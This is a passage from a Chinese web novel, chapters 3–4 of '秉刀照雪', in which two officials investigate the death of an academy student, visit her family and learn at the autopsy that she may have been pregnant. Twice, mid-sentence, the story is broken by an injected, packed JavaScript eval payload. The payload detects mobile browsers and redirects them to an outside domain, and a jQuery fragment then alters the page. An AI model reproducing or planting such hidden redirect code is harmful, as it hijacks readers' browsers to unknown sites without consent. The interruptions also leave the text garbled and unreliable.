《秉刀照雪》 3. 相争 “大人当真要和那位岑御史携手办案?” 半道上,照衣忍了又忍,还是没忍住地问。 哪知元行微扶着刀,扯了扯嘴角道:“怎么可能,只是圣旨在前,不得不为罢了。也好让他见识见识大理寺的路子,平日里查案都得殚精竭虑,谁能有空在文书上下功夫?” 照衣肃然起敬:“还是大人聪慧!” 她话题一转,又说:“我看大人对岑御史的态度,对寻常同僚不大一样,可是方才在都察院起了冲突?” “不算冲突,”元行微顿了顿,带着几分迟疑开口,“你还记得我欲入大理寺前,阿娘曾为我相看过一门亲事吗?” 照衣跟在元行微身边多年,近些年随行大理寺后,要记的事比在府上做婢女时多出了好些。 她仔细想了想,忽然握拳敲向掌心:“那个纨绔!大人和他连面都没见过,怎么突然提起他来?” 元行微心说那算什么纨绔,完全就是冤家,但她为官几年,早已将心口不一练得炉火纯青,面不改色道:“我今日才想起来,那位被我直言不嫁的,就是眼下这位岑御史。” 说到这里,她额角又痛了起来,针扎似的落在太阳穴。 母亲同岑夫人当年也只是互有结亲之意,连正式相看都算不上,更何况岑阙当年着实顽劣,谁曾想亲事不成便发奋图强了呢? 照衣也大惊失色:“那这不就是公报私仇!大人,此人万万留不得啊!” “你还想怎么留不得,”元行微叹道,“圣旨已下,无论如何也得将眼前这桩案子破了,至于后头的事……” 她眼中掠过一丝冷光,看得照衣心头一惊。 “杀害朝廷命官是犯法的啊大人!” 元行微哭笑不得,道:“你想哪去了。都察院共有六位侍御史,难不成大理寺的卷宗往后只由他审?” 照衣似懂非懂地点了点头。 只是元行微心中挂念的,不单是卷宗一事。 眼下四周无人,万籁俱寂,她下意识按紧了刀柄,将全副身心投进眼下的案子里。 离奇横死的女监生、意外掺合进凶案的弟弟、波谲云诡的国子监,以及今日莫名相见,又莫名共查一案的岑阙…… 哪一桩都不是省油的灯,元行微抬眸,国子监校舍近在眼前,里头的学生三三两两,好奇而又畏惧地看向她。 照衣收起方才的嬉笑模样,站在元行微身旁高举官令,手掌大小的铁牌四四方方,上书“大理寺”三个字。 “今日有书学监生横死,大理寺奉皇命查案,还请诸位学子如实相告!” - “展同侪为人傲气,不大于我们为伍,平日里师长们都夸她天资聪颖,又上进,可惜了。” “不曾听闻她提过家里,京中似乎也没有展姓大家吧?但这么一说,她家还当真是祖坟冒青烟,那一手字谁看了都羡慕。” “岁试夺魁好几次了,大家都在猜她入仕后会到哪里做官,往后还能不能再见面呢……” “那具悬尸是展画屏?那她还真是不大走运。不过话又说回来,既然她死了,那今年的员额不是空出一位来?我得好好准备准备,指不定有机会入仕呢。” 元行微和照衣一连问了好几个学生,得到的答案大差不差。 惋惜她遭遇的,钦羡她才华的,甚至是幸灾乐祸,以为自己终于有机会了的。 元行微若有所思,沉默地摩挲了几下刀柄獬豸,问道:“她平日里和哪些人走得近?” “展同侪在书学都不大说话的,都觉着咱们技不如人,”其中一人看了一眼院中,低声道,“分明大家出身都一样,怎么偏她心气这么高……” 元行微不置可否,“可有哪位与她交恶?” 那学子想了想,摇着头说:“应当也是没有的,虽说是瞧不上咱们,可也没人平白无故到她面前显眼。同窗数年,也只有她一向独来独往。” 奇哉怪也,元行微想。 她又问:“从前的常假,展画屏可提过自己要去哪?” 常假向来只有一日,国子监中虽大多是勋贵之后,可也有家不在平都城中的,一日短短,不比十天半个月能外出走访。 闻言,几个学子面面相觑,互相在彼此眼中看见了疑惑。 “展同侪……应当是回家吧?但凡放假,我等都不曾见过她在学堂中。” 问完话,院中人三三两两散去了。 照衣有些摸不着头脑,这一大圈问下来,只得了个展画屏眼高于顶的印象。 她问:“大人可是有头绪了?” 元行微叹了口气,道:“不大对劲,她既身处学宫之中,即便再沉默寡言的性子,也很难做到无人问津。这些个人口风大差不差,今日问不出什么了,回学堂看看,去取她户籍之人回来了没。” 她抬眼看向头顶匾额,上头写着“笃行持正”四个大字。 夜色悄然掠过国子监屋檐,檐下已亮起了灯火,此间辉煌之下,与学堂中冰冷的悬尸大相径庭。 元行微按着刀柄的手紧了紧,她转过身,袍角扬起一道冰冷的弧线。 学堂中,岑阙手上比对着好几名学子的字迹,一无所获。 这样查下去着实太慢了,但那位江仵作明显不大想说话,只是给他看了看展画屏脖颈上的勒痕,随后便远远躲到了一边,眼观鼻鼻观心地写着爰书。 岑阙心中郁结,却也不好当面指责她。 说他是来查案的,官阶却在元行微之下,更何况都察院今日来此,是为查国子监,命案只是个由头罢了。元行微不想让他知道的事,岑阙即便摆出官威,问遍大理寺上下,也得不到想要的答案。 见元行微也从校舍中回来,身后只跟着照衣,岑阙露出个了然的表情,隐约觉得自己扳回了一城。 “怎么,元少卿雷霆手段,居然在这国子监问不到想要的消息?”他促狭道。 元行微看他一眼,冷声道:“多的是受案时毫无头绪的悬案,岑大人未免嘲笑得太早了。” “少卿,去京兆尹府的人回来了。”一名大理寺官员奉了几页纸来,上头字迹潦草,显然是临时誊下来的。 元行微接过来,目光一寸寸看到最后一行上,几张纸便写尽了展画屏的一生。 先前,她只知道展画屏书道拔尖,出身略有些寒微,此刻见了这几页生平,才看出半生艰险。 元行微道: “展画屏父亲从前便在朝中做官,先帝在时,曾在东宫右春坊任职。官阶不高,拜在如今的中书令门下,本该前途无量。” “先帝在时……”岑阙沉吟片刻,心中有了几分猜测,“元顺十四年,太子谋反, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15882982|176362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东宫僚属尽遭贬斥。既然朝中没了他的消息,想必这位展监生的父亲,也在其中。” 元行微目光中带着几分赞许,这位岑御史遍阅卷宗,看来也不只是有名无实的花架子。 她说:“中书令当年本想举荐他,可他自己辞了官,如今只在安治坊做些普通营生。” 岑阙叹息道:“也是苦命出身。安治坊还未曾宵禁,元少卿现下是要去他家中,看看有无线索?” 还不待元行微点头,仵作轻手轻脚地走过来,将爰书塞进元行微手中,嗫嚅道:“少卿,方才这位大人硬拽着我问验尸结果……” 岑阙脸色一变:“等一下,那哪叫硬拽!” 元行微目光刀剑一样锐利,钉在岑阙身上,一字一顿道:“岑大人究竟有何疑虑,不好当着本官的面问?” 语气实在不算好,毕竟不久之前,二人还在都察院大吵一架,当时的话还没说开,转头又出了这样的事。 岑阙也是一个头两个大,他扶着额头,声音听上去带着几分无奈。 “下官这也是着急案情,眼下虽说知道了展监生是受人所害,可从验尸到问话,都掌握在大理寺手中。陛下属意你我二人共同办案,总不好叫下官事事两眼一抹黑,元少卿尽在掌握之中吧?” “所以你便先来逼问我大理寺的仵作?”元行微不吃这一套,皱着眉问。 她侧了侧身,问身边人道:“步月,他怎么说的?” 仵作江步月骤然被叫到名字,整个人一激灵:“就、就是岑大人让我细细交代了死者死因,死了多长时间,又是怎么死的。” 岑阙理直气壮:“元少卿听听,此番问话哪里不合规矩?” 未曾想江步月头往下又埋一寸,声音更低了些:“还说……说少卿若是办不好案子,往后大理寺也不必办差了。” 岑阙大惊失色:“且慢啊这位姑娘此言差矣!” 元行微闻言,眸色一沉。 步月平生最不喜与人交谈,年纪轻轻投身仵作一行,也无非是不想同人打交道,对官场上的机锋更是一知半解。 岑阙原话多半并非此意,但也算得上是天赐良机。 既然如此想要政绩与功劳,还欺辱到大理寺头上来了,倘若一并查案,定会束手束脚。 她面不改色,一拱手道:“既然如此,我等接下来查案,也不便与岑大人同行了。” 说罢,元行微毫不犹豫地转身出了门,照衣自然也是随行跟上。 岑阙环顾四周,几位大理寺问事正帮着江步月将尸体移回大理寺,剩下的便是京兆尹府派来的差役,只管看着现场不让人出入,问也是问不出什么的。 他略有几分苦恼,长长叹了口气,那摞厚厚的课业成了累赘,千斤重般压在他手上。 兰钦打量着他的脸色,问:“郎君,接下来怎么查?” “你说元少卿,不会当真烦我吧,”岑阙答非所问道,手指在不同监生的日课纸上摩挲了几下,“这么重要的线索,我还没同她说呢。” 那几张纸厚薄不同,唯有展画屏写的《字林》,质地上摸来最柔软,不像是她这等家世能用得起的上品。 岑阙对着烛火举起那张纸,轻声道: “平都城卖得起花帘纸的书画铺子,左不过那几家,咱们腿脚快些,兴许能赶上闭市。” 4.书画 黄昏时分,元行微和照衣纵马至安治坊。 城南向来是鱼龙混杂之地,当年展应回绝了提拔之意,携家带口来此,又兼遭逢大难,家中四口人只分得一亩地,将将够盖一间一进的茅屋院落。 京兆尹府来报了消息,展家门口的灯笼已蒙了白布,宵禁时刻将近,格外显得小柴扉内愁云一片。 元行微下马后将缰绳交到照衣手中,顺手理了理衣袍。 低头之际,她视线余光扫过雨后泥地。 展家门口往来过的车辙印纷杂,乱得近乎将这破落院门口的地都犁了一遍。 展应昔日同僚尽数受了牵连,如今有重获官身的,也个个行事低调,不见得出行会乘这样宽大的马车。 “不是说展画屏在书学向来独身吗?”照衣用手比了比地上的车辙印,啧啧两声,“我瞧着尽是大户人家,难不成有人同她交好?” 元行微道:“装装样子罢了,仗着家中显贵,耳濡目染了这些曲意逢迎的手段。” 往后官场少了一位性格孤僻的寒门学子,京中权海之下,不知有多少人正在为之倾杯。 一想到那位理直气壮说,她留在大理寺必不会长久的岑御史,元行微心中更是厌倦这些官场手段。 只是她面上不显,抬手叩了叩门。 四下里寂寂,门内掌灯起身的动静格外清晰。 应门的女子声音疲惫:“一更将至,若要凭吊还请明日……二位是?” “在下大理寺少卿元行微,奉旨查案,有话要问。”元行微递过官牌,“展画屏一死疑点重重,劳烦借一步说话。” 女子先是看清了“大理寺”三个字,又见二人并非监生打扮,便立刻将门闩拉开,不卑不亢地将人迎了进去。 进门后,照衣便主动摸查起了院中,元行微则是跟着女子,进了堂屋。 四四方方的堂屋内,正停着一口棺材。 棺中空空,其下烧着个火盆,里头余烬未灭,零零散散飘着些火星。 展画屏冤死国子监,尸身尚且不能回家停灵,展家人无奈之下,为她置了一口空棺。 许是家中清贫,牌位前只供了两豆幼微的烛火,室内昏暗,只映得牌位上的字娟秀小巧,笔画不似展画屏课业中那般大开大合。 供台上摆着先前吊唁的宾客随的帛金,包碎银的布团个顶个的精巧,唯独正中间放着一条松烟墨。 元行微粗略一看,三指宽的墨条浓黑无光,雕着苍松劲竹,饶是她不大通文墨贵贱,也看得出这墨是上品。 勋贵子弟中,当真有展画屏投其所好的好友? 揣着思忖,元行微捏着纸钱,自牌位前燃着的白烛上引了火,烧了些随进火盆里。 女子见她赤诚,再拜道:“大人有心了。” 火苗跃动间,元行微打量着对方的脸。 女子约莫二十五六的年岁,肖似展画屏的五官冷冰冰,眉梢带着几分憔悴,手上一刻不歇地叠着纸元宝。她指骨有些粗,手也不比常年习字的展画屏修长匀称,是做惯了活的样子。 她应当是独自在堂中守灵,借着摇曳火光,元行微看清了她掌心交错着几道红//痕,挤在掌纹之间。 “展应呢?”元行微问。 “父亲方才服药睡下了,”似乎是察觉到元行微猜疑,女子轻声说:“草民展玉书,画屏……是我妹妹。” 元行微道:“好名字。” 玉书、画屏,何等风雅的名字,如今却一个为世俗所累,一个命丧不知何人之手。 展玉书闻言避而不答,只是自嘲般笑了笑:“大人有什么想问的?我一一说与你听。” 元行微抬手挥开了扑上脸的纸灰,问:“书道算是你家学渊源,怎么只有你妹妹入了国子监?” 展玉书手一顿:“父亲虽蒙大赦,却无意再入宦海。家中生计总要有人操持,画屏自幼天资聪颖,书道上,我不如她。” 她语气平静,听不出半分不满,一门心思叠着手上的纸元宝。 “阿书啊,这么晚还有客人吗?” 堂屋的门外,忽然响起一道瓮声瓮气的声音。 门开了,元行微转头望去,却见一名跛脚妇人,手中端着两个杯子,正深一脚浅一脚地进来。 她将手中的茶水放在了元行微面前,认出这身官服后满眼错愕,随后扑通一声跪了下去! “听闻大人神断,求大人为小女做主!”妇人哀恸道,字字诛心。 元行微伸手去搀她起来,心底略有几分不忍:“便是为查案来的,夫人腿脚不便,起来说话吧。” 面容沧桑的妇人擦着眼泪,执拗地不肯起身,像是一直未曾接受女儿死讯般,低声喃喃:“画屏、画屏她自幼聪颖,从不做让家里人为难之事,常假回家来也是一团和气,怎么就,怎么就…… ” 说到伤心处,她眼角的泪无论如何也抹不干,整个人颓丧地跌在地上。 元行微扶稳了她的手臂,妇人泪眼朦胧地抬起头。 须臾间目光交错,或许是想到展画屏的年纪与眼前这位官差相差无几,又引得她垂泪。 “我知道大人一定会是个好官,求大人查明,求大人查明啊!”她痛不能站起身,只得倚在元行微身上,死死攥住她的手。 元行微叹了口气,道:“本官会查明真凶的,还请夫人节哀。照衣!” 话音刚落,正在展画屏和展玉书房中走访的照衣立刻应答:“在!” 她进门后几不可察地向元行微摇了摇头,元行微目光轻垂,“将夫人扶回房中吧。” 二人的身影消失在堂屋门外后,元行微才收回了视线,思有所感地捻着刚刚接到的眼泪。 展家二老的居所内窸窸窣窣又说了一阵话,伴随着男人的咳嗽声与女人的哭噎,一时间不得静。 “家中起落不断,这些年好不容易要熬出头了,没想到……”展玉书的声音也带了几分哽咽,她深吸了几口气,聊作平复,“白发人送黑发人,难免悲凉,大人勿怪。” 元行微摇了摇头:“于你家也算是无妄之灾,任谁都不会好受。” 她低头看了一眼妇人端来的茶。 算不上什么好茶,茶粉甚至有些放陈了,打翻的墨水般浓黑一片。 “展画屏平日回家,都会同你们说些什么?”元行微忽然问。 既然是有冤情要诉,还如此大张旗鼓攀扯到天子头上,那即便展画屏做了反贼,在家中说的话想必也会露出马脚。 展玉书沉吟片刻:“画屏性子冷淡,向来做的多说的少,常假要么回家同父亲切磋书道,要么留在监舍中。她今日未归,我们也当她是勤奋上进,哪知……” 提及此处,她心中又是一阵钝痛。 元行微又问:“多年来,她难道不曾有过至交好友?这样沉默寡言的性子,未免也太吃亏了。” 这话像是随口一提,却没料到展玉书呼吸一滞,而后怕元行微怀疑般轻轻抽泣了一下,“我不知。她小时候与我无话不谈,如今也大了,有些自己的心事也正常。” 不正常。 至少这副遮掩的态度不正常。 她回身看着展画屏的牌位,状似无意地拿起托着墨条的那方锦帕,这才察觉到上头以细线暗绣了图样。 于烛光下凑近一看,上面绣着团云的纹样,银线针脚细密,不像是寻常官宦人家所用的。 “别人装样子都是随的帛金,唯独这位送了块好墨,”元行微轻轻摩挲着锦帕,又按了按墨条,“硬如磐石,非三五年不可得。出手阔绰又投其所好,哪家送来的?” 展玉书仔细回想了一番,不大确定地说:“……应当是父亲从前官场上的好友,或许是送给父亲,劝父亲节哀的。” “倘若展应真有如此仗义的故交,你们一家也不至于跻身这安治坊了。”元行微淡然道。 展玉书闻言一想,是这个理。 “当时正忙着设灵堂,我只来得及远远看一眼那人的背影。身量很高,文人打扮,他家下人进来放了东西便走,也不说是谁家随的礼。” 元行微眉头微挑:“案破之前那人若再来,随时来大理寺报我。” 坊间传来金吾卫敲鼓之声,宵禁时分将至。 “之后若是再查到了什么,大理寺会随时传你家人来问话,”元行微扶着鸣不平道,“今日暂且到此为止。” “大人且慢!”展玉书猛地站了起来,双手紧紧交握在一起。 她声音带着几分滞涩,像是接下来要说的话有些难以启齿,“如今画屏孤零零地睡在大理寺,凶手尚且不知所踪,草民……草民有个不情之请,能否让草民去大理寺,见她一面?” 实在算不上什么难言之隐。 元行微看着她双眼中恳切之色,叹了口气,道:“……罢了。带身衣服吧,入夜后长街禁行,你今夜只能宿在大理寺。” 照衣在门口等得有些百无聊赖,本以为今晚找不见什么线索了,没想到下一刻便看见自家少卿带着死者亲姐姐出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885425|176362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,俨然一副要带人回去的模样。 “大人,这、这不合规矩吧?”照衣一边低声问,一边递来缰绳,“此案关乎谋逆,展家人未能洗脱嫌疑,能这么轻易带回去吗?” 元行微:“有什么不合规矩的,带她看一眼罢了。况且她还有没交代清楚的事,倘若见到展画屏露出破绽,也省得再回头提审。” 照衣似懂非懂地点了头,侧身对展玉书道:“展姑娘与我共乘一骑吧,总不能让你就这么走去大理寺。” 展玉书倒是没推脱:“有劳了。” 三人各自翻身上马,安治坊暮鼓声响过最后一声。 坊门一关,隔绝了里间的热闹,马蹄踏破平都夜,声声远。 - 查察命案之时,大理寺向来灯火通明。 元行微远远便看见一道人影立在门口,那人身上穿着国子监监生服,见到她策马而来,立刻挥起手。 “阿姐!” “吁……怎么站在这儿,不是让你回府吗?”元行微问。 元行煦挠了挠头,先是指了下对侧的马车,随后老老实实地说:“想着给阿姐报个平安,眼瞧着阿姐今日也回不了府。案子来得这么急,我又搅了进去,回府肯定要被娘揪耳朵……” 元行微下马,皱着眉颇为不赞同:“阿娘也是担心你,少说孩子话。回府去吧,难不成让阿娘为着咱们担心一夜?” 差点被阿姐揪耳朵的元行煦臊眉耷眼的,闷闷地“哦”了一声。 见阿弟上了马车,元行微才轻叹一声,带着照衣和展玉书进门。 从方才开始,展玉书的目光就在元行微和元行煦中间打转,她忍了又忍,还是没忍住。 “那位是……” 元行微随口道:“家弟。” 话音刚落,她不经意地轻瞥展玉书一眼,又补充说:“正是他报的官。” 展玉书倒是面色平静,瞧不出别的,“原来如此,性子倒是与大人不相仿。” “展姑娘也不是头一个这么说的人。”元行微淡然道。 三人相携穿过廊下,展玉书一路上走得谨小慎微,不大敢抬头乱看。 元行微带着她过了正院,步履匆匆至东厢房。 断刑司左侧专门砌了一间小屋,平日里便人迹罕至,这两日有了命案更是阴气森森。 自上代大理寺卿病故,寺中事务全权交由元行微时起,大理寺便不再有午时才能验尸的规矩。人命关天,手头接了案子,便是子时三刻也得拿出证据。 照元行微的说法,既然世俗觉得女人做官大逆不道,投身仵作行也是大逆不道,那也不差这条罪名了。 “验了多时,有什么新的证据?” 没什么忌讳的元行微推开门,只见分别不多时的仵作江步月正一字一画地补充着爰书,时不时伸手触碰尸身皮肉骨骼,确保自己写得分毫不差。 江步月头也不抬:“她的手指断过,像是被外力生生拧断的。以书道入仕之人,难道不爱惜自己的手?” 说罢,她牵起展画屏右手,给元行微看,抬头时正好看见了对方身边的展玉书。 生人进了她这验尸的地界,反倒比厉鬼还恐怖,将江步月吓得浑身一抖。 元行微不甚在意:“断了多久?” 江步月:“半、半半,半年上下……” 元行微低头仔细看去。 与江步月所说相符,展画屏右手的手指有些变形,并非写字发力不正确所留下的畸变,而是有些错位般的扭曲。 “有什么头绪吗?”元行微向展玉书的方向微微侧身,问。 展玉书摇了摇头,随后沉默着伸出手,一下一下地梳理展画屏凌乱的鬓发。 元行微静待她整理自己情绪时,也在脑海中短暂回想了今日查案的所有疑点。 先是反贼暴论,再是不与俗流的书学魁首离奇身亡,最后是含糊其辞的展玉书…… 以及那条名贵异常的松烟墨。 江步月还在一一细致地排查展画屏身上是否还有旧伤,元行微看着她颈间的血色瘀痕,轻声问:“你这样不与人结仇结怨的人,会有谁想借你尸首做文章呢?” 夜风吹响檐下铃,于室内逡巡一圈。 元行微闻到熏醋的味道,似乎是回答她疑问似的,江步月的手在摸到展画屏腹部时,脸色忽变。她按了按展画屏的腹腔,只觉得本应柔软的皮肉下有些硌手,像是里头揣了石头一般硬。 “……嗯?她好像,怀孕了?”